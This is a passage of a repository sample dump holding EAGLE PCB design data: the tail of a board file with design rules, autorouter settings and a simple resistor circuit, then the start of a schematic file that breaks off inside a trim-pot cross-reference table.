x1=\"-0.1999\" y1=\"-0.5001\" x2=\"0.1999\" y2=\"0.5001\" layer=\"35\"/>\n</package>\n</packages>\n</library>\n<library name=\"pinhead\">\n<description>&lt;b&gt;Pin Header Connectors&lt;/b&gt;&lt;p&gt;\n&lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;</description>\n<packages>\n<package name=\"1X01\">\n<description>&lt;b&gt;PIN HEADER&lt;/b&gt;</description>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"0.635\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"1.27\" x2=\"1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"0.635\" x2=\"1.27\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"1.27\" y1=\"-0.635\" x2=\"0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"0.635\" x2=\"-1.27\" y2=\"-0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.635\" y1=\"1.27\" x2=\"-1.27\" y2=\"0.635\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.27\" y1=\"-0.635\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"0.635\" y1=\"-1.27\" x2=\"-0.635\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"0\" drill=\"1.016\" shape=\"octagon\"/>\n<text x=\"-1.3462\" y=\"1.8288\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.27\" y=\"-3.175\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.254\" y1=\"-0.254\" x2=\"0.254\" y2=\"0.254\" layer=\"51\"/>\n</package>\n</packages>\n</library>\n</libraries>\n<attributes>\n</attributes>\n<variantdefs>\n</variantdefs>\n<classes>\n<class number=\"0\" name=\"default\" width=\"0\" drill=\"0\">\n</class>\n</classes>\n<designrules name=\"default\">\n<description language=\"de\">&lt;b&gt;EAGLE Design Rules&lt;/b&gt;\n&lt;p&gt;\nDie Standard-Design-Rules sind so gewählt, dass sie für \ndie meisten Anwendungen passen. Sollte ihre Platine \nbesondere Anforderungen haben, treffen Sie die erforderlichen\nEinstellungen hier und speichern die Design Rules unter \neinem neuen Namen ab.</description>\n<description language=\"en\">&lt;b&gt;EAGLE Design Rules&lt;/b&gt;\n&lt;p&gt;\nThe default Design Rules have been set to cover\na wide range of applications. Your particular design\nmay have different requirements, so please make the\nnecessary adjustments and save your customized\ndesign rules under a new name.</description>\n<param name=\"layerSetup\" value=\"(1*16)\"/>\n<param name=\"mtCopper\" value=\"0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm 0.035mm\"/>\n<param name=\"mtIsolate\" value=\"1.5mm 0.15mm 0.2mm 0.15mm 0.2mm 0.15mm 0.2mm 0.15mm 0.2mm 0.15mm 0.2mm 0.15mm 0.2mm 0.15mm 0.2mm\"/>\n<param name=\"mdWireWire\" value=\"8mil\"/>\n<param name=\"mdWirePad\" value=\"8mil\"/>\n<param name=\"mdWireVia\" value=\"8mil\"/>\n<param name=\"mdPadPad\" value=\"8mil\"/>\n<param name=\"mdPadVia\" value=\"8mil\"/>\n<param name=\"mdViaVia\" value=\"8mil\"/>\n<param name=\"mdSmdPad\" value=\"8mil\"/>\n<param name=\"mdSmdVia\" value=\"8mil\"/>\n<param name=\"mdSmdSmd\" value=\"8mil\"/>\n<param name=\"mdViaViaSameLayer\" value=\"8mil\"/>\n<param name=\"mnLayersViaInSmd\" value=\"2\"/>\n<param name=\"mdCopperDimension\" value=\"40mil\"/>\n<param name=\"mdDrill\" value=\"8mil\"/>\n<param name=\"mdSmdStop\" value=\"0mil\"/>\n<param name=\"msWidth\" value=\"10mil\"/>\n<param name=\"msDrill\" value=\"24mil\"/>\n<param name=\"msMicroVia\" value=\"9.99mm\"/>\n<param name=\"msBlindViaRatio\" value=\"0.5\"/>\n<param name=\"rvPadTop\" value=\"0.25\"/>\n<param name=\"rvPadInner\" value=\"0.25\"/>\n<param name=\"rvPadBottom\" value=\"0.25\"/>\n<param name=\"rvViaOuter\" value=\"0.25\"/>\n<param name=\"rvViaInner\" value=\"0.25\"/>\n<param name=\"rvMicroViaOuter\" value=\"0.25\"/>\n<param name=\"rvMicroViaInner\" value=\"0.25\"/>\n<param name=\"rlMinPadTop\" value=\"10mil\"/>\n<param name=\"rlMaxPadTop\" value=\"20mil\"/>\n<param name=\"rlMinPadInner\" value=\"10mil\"/>\n<param name=\"rlMaxPadInner\" value=\"20mil\"/>\n<param name=\"rlMinPadBottom\" value=\"10mil\"/>\n<param name=\"rlMaxPadBottom\" value=\"20mil\"/>\n<param name=\"rlMinViaOuter\" value=\"8mil\"/>\n<param name=\"rlMaxViaOuter\" value=\"20mil\"/>\n<param name=\"rlMinViaInner\" value=\"8mil\"/>\n<param name=\"rlMaxViaInner\" value=\"20mil\"/>\n<param name=\"rlMinMicroViaOuter\" value=\"4mil\"/>\n<param name=\"rlMaxMicroViaOuter\" value=\"20mil\"/>\n<param name=\"rlMinMicroViaInner\" value=\"4mil\"/>\n<param name=\"rlMaxMicroViaInner\" value=\"20mil\"/>\n<param name=\"psTop\" value=\"-1\"/>\n<param name=\"psBottom\" value=\"-1\"/>\n<param name=\"psFirst\" value=\"-1\"/>\n<param name=\"psElongationLong\" value=\"100\"/>\n<param name=\"psElongationOffset\" value=\"100\"/>\n<param name=\"mvStopFrame\" value=\"1\"/>\n<param name=\"mvCreamFrame\" value=\"0\"/>\n<param name=\"mlMinStopFrame\" value=\"4mil\"/>\n<param name=\"mlMaxStopFrame\" value=\"4mil\"/>\n<param name=\"mlMinCreamFrame\" value=\"0mil\"/>\n<param name=\"mlMaxCreamFrame\" value=\"0mil\"/>\n<param name=\"mlViaStopLimit\" value=\"0mil\"/>\n<param name=\"srRoundness\" value=\"0\"/>\n<param name=\"srMinRoundness\" value=\"0mil\"/>\n<param name=\"srMaxRoundness\" value=\"0mil\"/>\n<param name=\"slThermalIsolate\" value=\"10mil\"/>\n<param name=\"slThermalsForVias\" value=\"0\"/>\n<param name=\"dpMaxLengthDifference\" value=\"10mm\"/>\n<param name=\"dpGapFactor\" value=\"2.5\"/>\n<param name=\"checkGrid\" value=\"0\"/>\n<param name=\"checkAngle\" value=\"0\"/>\n<param name=\"checkFont\" value=\"1\"/>\n<param name=\"checkRestrict\" value=\"1\"/>\n<param name=\"useDiameter\" value=\"13\"/>\n<param name=\"maxErrors\" value=\"50\"/>\n</designrules>\n<autorouter>\n<pass name=\"Default\">\n<param name=\"RoutingGrid\" value=\"50mil\"/>\n<param name=\"tpViaShape\" value=\"round\"/>\n<param name=\"PrefDir.1\" value=\"|\"/>\n<param name=\"PrefDir.2\" value=\"0\"/>\n<param name=\"PrefDir.3\" value=\"0\"/>\n<param name=\"PrefDir.4\" value=\"0\"/>\n<param name=\"PrefDir.5\" value=\"0\"/>\n<param name=\"PrefDir.6\" value=\"0\"/>\n<param name=\"PrefDir.7\" value=\"0\"/>\n<param name=\"PrefDir.8\" value=\"0\"/>\n<param name=\"PrefDir.9\" value=\"0\"/>\n<param name=\"PrefDir.10\" value=\"0\"/>\n<param name=\"PrefDir.11\" value=\"0\"/>\n<param name=\"PrefDir.12\" value=\"0\"/>\n<param name=\"PrefDir.13\" value=\"0\"/>\n<param name=\"PrefDir.14\" value=\"0\"/>\n<param name=\"PrefDir.15\" value=\"0\"/>\n<param name=\"PrefDir.16\" value=\"-\"/>\n<param name=\"cfVia\" value=\"8\"/>\n<param name=\"cfNonPref\" value=\"5\"/>\n<param name=\"cfChangeDir\" value=\"2\"/>\n<param name=\"cfOrthStep\" value=\"2\"/>\n<param name=\"cfDiagStep\" value=\"3\"/>\n<param name=\"cfExtdStep\" value=\"0\"/>\n<param name=\"cfBonusStep\" value=\"1\"/>\n<param name=\"cfMalusStep\" value=\"1\"/>\n<param name=\"cfPadImpact\" value=\"4\"/>\n<param name=\"cfSmdImpact\" value=\"4\"/>\n<param name=\"cfBusImpact\" value=\"0\"/>\n<param name=\"cfHugging\" value=\"3\"/>\n<param name=\"cfAvoid\" value=\"4\"/>\n<param name=\"cfPolygon\" value=\"10\"/>\n<param name=\"cfBase.1\" value=\"0\"/>\n<param name=\"cfBase.2\" value=\"1\"/>\n<param name=\"cfBase.3\" value=\"1\"/>\n<param name=\"cfBase.4\" value=\"1\"/>\n<param name=\"cfBase.5\" value=\"1\"/>\n<param name=\"cfBase.6\" value=\"1\"/>\n<param name=\"cfBase.7\" value=\"1\"/>\n<param name=\"cfBase.8\" value=\"1\"/>\n<param name=\"cfBase.9\" value=\"1\"/>\n<param name=\"cfBase.10\" value=\"1\"/>\n<param name=\"cfBase.11\" value=\"1\"/>\n<param name=\"cfBase.12\" value=\"1\"/>\n<param name=\"cfBase.13\" value=\"1\"/>\n<param name=\"cfBase.14\" value=\"1\"/>\n<param name=\"cfBase.15\" value=\"1\"/>\n<param name=\"cfBase.16\" value=\"0\"/>\n<param name=\"mnVias\" value=\"20\"/>\n<param name=\"mnSegments\" value=\"9999\"/>\n<param name=\"mnExtdSteps\" value=\"9999\"/>\n<param name=\"mnRipupLevel\" value=\"10\"/>\n<param name=\"mnRipupSteps\" value=\"100\"/>\n<param name=\"mnRipupTotal\" value=\"100\"/>\n</pass>\n<pass name=\"Follow-me\" refer=\"Default\" active=\"yes\">\n</pass>\n<pass name=\"Busses\" refer=\"Default\" active=\"yes\">\n<param name=\"cfNonPref\" value=\"4\"/>\n<param name=\"cfBusImpact\" value=\"4\"/>\n<param name=\"cfHugging\" value=\"0\"/>\n<param name=\"mnVias\" value=\"0\"/>\n</pass>\n<pass name=\"Route\" refer=\"Default\" active=\"yes\">\n</pass>\n<pass name=\"Optimize1\" refer=\"Default\" active=\"yes\">\n<param name=\"cfVia\" value=\"99\"/>\n<param name=\"cfExtdStep\" value=\"10\"/>\n<param name=\"cfHugging\" value=\"1\"/>\n<param name=\"mnExtdSteps\" value=\"1\"/>\n<param name=\"mnRipupLevel\" value=\"0\"/>\n</pass>\n<pass name=\"Optimize2\" refer=\"Optimize1\" active=\"yes\">\n<param name=\"cfNonPref\" value=\"0\"/>\n<param name=\"cfChangeDir\" value=\"6\"/>\n<param name=\"cfExtdStep\" value=\"0\"/>\n<param name=\"cfBonusStep\" value=\"2\"/>\n<param name=\"cfMalusStep\" value=\"2\"/>\n<param name=\"cfPadImpact\" value=\"2\"/>\n<param name=\"cfSmdImpact\" value=\"2\"/>\n<param name=\"cfHugging\" value=\"0\"/>\n</pass>\n<pass name=\"Optimize3\" refer=\"Optimize2\" active=\"yes\">\n<param name=\"cfChangeDir\" value=\"8\"/>\n<param name=\"cfPadImpact\" value=\"0\"/>\n<param name=\"cfSmdImpact\" value=\"0\"/>\n</pass>\n<pass name=\"Optimize4\" refer=\"Optimize3\" active=\"yes\">\n<param name=\"cfChangeDir\" value=\"25\"/>\n</pass>\n</autorouter>\n<elements>\n<element name=\"R1\" library=\"rcl\" package=\"R0805\" value=\"1K\" x=\"8.636\" y=\"2.54\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"6.223\" y=\"4.064\" size=\"1.27\" layer=\"25\"/>\n<attribute name=\"VALUE\" x=\"9.271\" y=\"4.064\" size=\"1.27\" layer=\"27\"/>\n</element>\n<element name=\"IN\" library=\"pinhead\" package=\"1X01\" value=\"\" x=\"1.778\" y=\"2.54\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"0.6858\" y=\"4.3688\" size=\"1.27\" layer=\"25\" ratio=\"10\"/>\n<attribute name=\"VALUE\" x=\"0.508\" y=\"-0.635\" size=\"1.27\" layer=\"27\"/>\n</element>\n<element name=\"OUT\" library=\"pinhead\" package=\"1X01\" value=\"\" x=\"16.002\" y=\"2.54\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"13.6398\" y=\"4.3688\" size=\"1.27\" layer=\"25\" ratio=\"10\"/>\n<attribute name=\"VALUE\" x=\"14.732\" y=\"-0.635\" size=\"1.27\" layer=\"27\"/>\n</element>\n</elements>\n<signals>\n<signal name=\"N$2\">\n<contactref element=\"R1\" pad=\"2\"/>\n<contactref element=\"OUT\" pad=\"1\"/>\n<wire x1=\"9.586\" y1=\"2.54\" x2=\"12.446\" y2=\"2.54\" width=\"0.4064\" layer=\"1\"/>\n<via x=\"12.446\" y=\"2.54\" extent=\"1-16\" drill=\"0.6\"/>\n<wire x1=\"12.446\" y1=\"2.54\" x2=\"16.002\" y2=\"2.54\" width=\"0.4064\" layer=\"16\"/>\n</signal>\n<signal name=\"N$1\">\n<contactref element=\"IN\" pad=\"1\"/>\n<contactref element=\"R1\" pad=\"1\"/>\n<wire x1=\"1.778\" y1=\"2.54\" x2=\"7.686\" y2=\"2.54\" width=\"0.4064\" layer=\"1\"/>\n</signal>\n<signal name=\"GND\">\n<polygon width=\"0.4064\" layer=\"16\">\n<vertex x=\"-0.254\" y=\"-0.254\"/>\n<vertex x=\"-0.254\" y=\"6.35\"/>\n<vertex x=\"18.034\" y=\"6.35\"/>\n<vertex x=\"18.034\" y=\"-0.254\"/>\n</polygon>\n<polygon width=\"0.4064\" layer=\"1\">\n<vertex x=\"-0.508\" y=\"6.604\"/>\n<vertex x=\"18.288\" y=\"6.604\"/>\n<vertex x=\"18.288\" y=\"-0.508\"/>\n<vertex x=\"-0.508\" y=\"-0.508\"/>\n</polygon>\n</signal>\n</signals>\n</board>\n</drawing>\n</eagle>\n"
  },
  {
    "path": "samples/Eagle/Eagle.sch",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE eagle SYSTEM \"eagle.dtd\">\n<eagle version=\"6.3\">\n<drawing>\n<settings>\n<setting alwaysvectorfont=\"no\"/>\n<setting verticaltext=\"up\"/>\n</settings>\n<grid distance=\"0.1\" unitdist=\"inch\" unit=\"inch\" style=\"lines\" multiple=\"1\" display=\"no\" altdistance=\"0.01\" altunitdist=\"inch\" altunit=\"inch\"/>\n<layers>\n<layer number=\"1\" name=\"Top\" color=\"4\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"2\" name=\"Route2\" color=\"1\" fill=\"3\" visible=\"no\" active=\"no\"/>\n<layer number=\"3\" name=\"Route3\" color=\"4\" fill=\"3\" visible=\"no\" active=\"no\"/>\n<layer number=\"4\" name=\"Route4\" color=\"1\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"5\" name=\"Route5\" color=\"4\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"6\" name=\"Route6\" color=\"1\" fill=\"8\" visible=\"no\" active=\"no\"/>\n<layer number=\"7\" name=\"Route7\" color=\"4\" fill=\"8\" visible=\"no\" active=\"no\"/>\n<layer number=\"8\" name=\"Route8\" color=\"1\" fill=\"2\" visible=\"no\" active=\"no\"/>\n<layer number=\"9\" name=\"Route9\" color=\"4\" fill=\"2\" visible=\"no\" active=\"no\"/>\n<layer number=\"10\" name=\"Route10\" color=\"1\" fill=\"7\" visible=\"no\" active=\"no\"/>\n<layer number=\"11\" name=\"Route11\" color=\"4\" fill=\"7\" visible=\"no\" active=\"no\"/>\n<layer number=\"12\" name=\"Route12\" color=\"1\" fill=\"5\" visible=\"no\" active=\"no\"/>\n<layer number=\"13\" name=\"Route13\" color=\"4\" fill=\"5\" visible=\"no\" active=\"no\"/>\n<layer number=\"14\" name=\"Route14\" color=\"1\" fill=\"6\" visible=\"no\" active=\"no\"/>\n<layer number=\"15\" name=\"Route15\" color=\"4\" fill=\"6\" visible=\"no\" active=\"no\"/>\n<layer number=\"16\" name=\"Bottom\" color=\"1\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"17\" name=\"Pads\" color=\"2\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"18\" name=\"Vias\" color=\"2\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"19\" name=\"Unrouted\" color=\"6\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"20\" name=\"Dimension\" color=\"15\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"21\" name=\"tPlace\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"22\" name=\"bPlace\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"23\" name=\"tOrigins\" color=\"15\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"24\" name=\"bOrigins\" color=\"15\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"25\" name=\"tNames\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"26\" name=\"bNames\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"27\" name=\"tValues\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"28\" name=\"bValues\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"29\" name=\"tStop\" color=\"7\" fill=\"3\" visible=\"no\" active=\"no\"/>\n<layer number=\"30\" name=\"bStop\" color=\"7\" fill=\"6\" visible=\"no\" active=\"no\"/>\n<layer number=\"31\" name=\"tCream\" color=\"7\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"32\" name=\"bCream\" color=\"7\" fill=\"5\" visible=\"no\" active=\"no\"/>\n<layer number=\"33\" name=\"tFinish\" color=\"6\" fill=\"3\" visible=\"no\" active=\"no\"/>\n<layer number=\"34\" name=\"bFinish\" color=\"6\" fill=\"6\" visible=\"no\" active=\"no\"/>\n<layer number=\"35\" name=\"tGlue\" color=\"7\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"36\" name=\"bGlue\" color=\"7\" fill=\"5\" visible=\"no\" active=\"no\"/>\n<layer number=\"37\" name=\"tTest\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"38\" name=\"bTest\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"39\" name=\"tKeepout\" color=\"4\" fill=\"11\" visible=\"no\" active=\"no\"/>\n<layer number=\"40\" name=\"bKeepout\" color=\"1\" fill=\"11\" visible=\"no\" active=\"no\"/>\n<layer number=\"41\" name=\"tRestrict\" color=\"4\" fill=\"10\" visible=\"no\" active=\"no\"/>\n<layer number=\"42\" name=\"bRestrict\" color=\"1\" fill=\"10\" visible=\"no\" active=\"no\"/>\n<layer number=\"43\" name=\"vRestrict\" color=\"2\" fill=\"10\" visible=\"no\" active=\"no\"/>\n<layer number=\"44\" name=\"Drills\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"45\" name=\"Holes\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"46\" name=\"Milling\" color=\"3\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"47\" name=\"Measures\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"48\" name=\"Document\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"49\" name=\"Reference\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"51\" name=\"tDocu\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"52\" name=\"bDocu\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"91\" name=\"Nets\" color=\"2\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"92\" name=\"Busses\" color=\"1\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"93\" name=\"Pins\" color=\"2\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"94\" name=\"Symbols\" color=\"4\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"95\" name=\"Names\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"96\" name=\"Values\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"97\" name=\"Info\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"98\" name=\"Guide\" color=\"6\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n</layers>\n<schematic xreflabel=\"%F%N/%S.%C%R\" xrefpart=\"/%S.%C%R\">\n<libraries>\n<library name=\"frames\">\n<description>&lt;b&gt;Frames for Sheet and Layout&lt;/b&gt;</description>\n<packages>\n</packages>\n<symbols>\n<symbol name=\"A4L-LOC\">\n<wire x1=\"256.54\" y1=\"3.81\" x2=\"256.54\" y2=\"8.89\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"256.54\" y1=\"8.89\" x2=\"256.54\" y2=\"13.97\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"256.54\" y1=\"13.97\" x2=\"256.54\" y2=\"19.05\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"256.54\" y1=\"19.05\" x2=\"256.54\" y2=\"24.13\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"161.29\" y1=\"3.81\" x2=\"161.29\" y2=\"24.13\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"161.29\" y1=\"24.13\" x2=\"215.265\" y2=\"24.13\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"215.265\" y1=\"24.13\" x2=\"256.54\" y2=\"24.13\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"246.38\" y1=\"3.81\" x2=\"246.38\" y2=\"8.89\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"246.38\" y1=\"8.89\" x2=\"256.54\" y2=\"8.89\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"246.38\" y1=\"8.89\" x2=\"215.265\" y2=\"8.89\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"215.265\" y1=\"8.89\" x2=\"215.265\" y2=\"3.81\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"215.265\" y1=\"8.89\" x2=\"215.265\" y2=\"13.97\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"215.265\" y1=\"13.97\" x2=\"256.54\" y2=\"13.97\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"215.265\" y1=\"13.97\" x2=\"215.265\" y2=\"19.05\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"215.265\" y1=\"19.05\" x2=\"256.54\" y2=\"19.05\" width=\"0.1016\" layer=\"94\"/>\n<wire x1=\"215.265\" y1=\"19.05\" x2=\"215.265\" y2=\"24.13\" width=\"0.1016\" layer=\"94\"/>\n<text x=\"217.17\" y=\"15.24\" size=\"2.54\" layer=\"94\" font=\"vector\">&gt;DRAWING_NAME</text>\n<text x=\"217.17\" y=\"10.16\" size=\"2.286\" layer=\"94\" font=\"vector\">&gt;LAST_DATE_TIME</text>\n<text x=\"230.505\" y=\"5.08\" size=\"2.54\" layer=\"94\" font=\"vector\">&gt;SHEET</text>\n<text x=\"216.916\" y=\"4.953\" size=\"2.54\" layer=\"94\" font=\"vector\">Sheet:</text>\n<frame x1=\"0\" y1=\"0\" x2=\"260.35\" y2=\"179.07\" columns=\"6\" rows=\"4\" layer=\"94\"/>\n</symbol>\n</symbols>\n<devicesets>\n<deviceset name=\"A4L-LOC\" prefix=\"FRAME\" uservalue=\"yes\">\n<description>&lt;b&gt;FRAME&lt;/b&gt;&lt;p&gt;\nDIN A4, landscape with location and doc. field</description>\n<gates>\n<gate name=\"G$1\" symbol=\"A4L-LOC\" x=\"0\" y=\"0\"/>\n</gates>\n<devices>\n<device name=\"\">\n<technologies>\n<technology name=\"\"/>\n</technologies>\n</device>\n</devices>\n</deviceset>\n</devicesets>\n</library>\n<library name=\"rcl\">\n<description>&lt;b&gt;Resistors, Capacitors, Inductors&lt;/b&gt;&lt;p&gt;\nBased on the previous libraries:\n&lt;ul&gt;\n&lt;li&gt;r.lbr\n&lt;li&gt;cap.lbr \n&lt;li&gt;cap-fe.lbr\n&lt;li&gt;captant.lbr\n&lt;li&gt;polcap.lbr\n&lt;li&gt;ipc-smd.lbr\n&lt;/ul&gt;\nAll SMD packages are defined according to the IPC specifications and  CECC&lt;p&gt;\n&lt;author&gt;Created by librarian@cadsoft.de&lt;/author&gt;&lt;p&gt;\n&lt;p&gt;\nfor Electrolyt Capacitors see also :&lt;p&gt;\nwww.bccomponents.com &lt;p&gt;\nwww.panasonic.com&lt;p&gt;\nwww.kemet.com&lt;p&gt;\nhttp://www.secc.co.jp/pdf/os_e/2004/e_os_all.pdf &lt;b&gt;(SANYO)&lt;/b&gt;\n&lt;p&gt;\nfor trimmer refence see : &lt;u&gt;www.electrospec-inc.com/cross_references/trimpotcrossref.asp&lt;/u&gt;&lt;p&gt;\n\n&lt;table border=0 cellspacing=0 cellpadding=0 width=\"100%\" cellpaddding=0&gt;\n&lt;tr valign=\"top\"&gt;\n\n&lt;! &lt;td width=\"10\"&gt;&amp;nbsp;&lt;/td&gt;\n&lt;td width=\"90%\"&gt;\n\n&lt;b&gt;&lt;font color=\"#0000FF\" size=\"4\"&gt;TRIM-POT CROSS REFERENCE&lt;/font&gt;&lt;/b&gt;\n&lt;P&gt;\n&lt;TABLE BORDER=0 CELLSPACING=1 CELLPADDING=2&gt;\n  &lt;TR&gt;\n    &lt;TD COLSPAN=8&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL&gt;&lt;B&gt;RECTANGULAR MULTI-TURN&lt;/B&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;BOURNS&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;BI&amp;nbsp;TECH&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;DALE-VISHAY&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;PHILIPS/MEPCO&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;MURATA&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;PANASONIC&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;SPECTROL&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;\n    &lt;TD ALIGN=CENTER&gt;\n      &lt;B&gt;\n      &lt;FONT SIZE=3 FACE=ARIAL color=\"#FF0000\"&gt;MILSPEC&lt;/FONT&gt;\n      &lt;/B&gt;\n    &lt;/TD&gt;&lt;TD&gt;&amp;nbsp;&lt;/TD&gt;\n  &lt;/TR&gt;\n  &lt;TR&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3 &gt;\n      3005P&lt;BR&gt;\n      3006P&lt;BR&gt;\n      3006W&lt;BR&gt;\n      3006Y&lt;BR&gt;\n      3009P&lt;BR&gt;\n      3009W&lt;BR&gt;\n      3009Y&lt;BR&gt;\n      3057J&lt;BR&gt;\n      3057L&lt;BR&gt;\n      3057P&lt;BR&gt;\n      3057Y&lt;BR&gt;\n      3059J&lt;BR&gt;\n      3059L&lt;BR&gt;\n      3059P&lt;BR&gt;\n      3059Y&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      89P&lt;BR&gt;\n      89W&lt;BR&gt;\n      89X&lt;BR&gt;\n      89PH&lt;BR&gt;\n      76P&lt;BR&gt;\n      89XH&lt;BR&gt;\n      78SLT&lt;BR&gt;\n      78L&amp;nbsp;ALT&lt;BR&gt;\n      56P&amp;nbsp;ALT&lt;BR&gt;\n      78P&amp;nbsp;ALT&lt;BR&gt;\n      T8S&lt;BR&gt;\n      78L&lt;BR&gt;\n      56P&lt;BR&gt;\n      78P&lt;BR&gt;&lt;/FONT&gt;\n    &lt;/TD&gt;\n    &lt;TD BGCOLOR=\"#cccccc\" ALIGN=CENTER&gt;&lt;FONT FACE=ARIAL SIZE=3&gt;\n      -&lt;BR&gt;\n      T18/784&lt;BR&gt;\n      783&lt;BR&gt;\n      781&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      -&lt;BR&gt;\n      2199&lt;BR&gt;\n      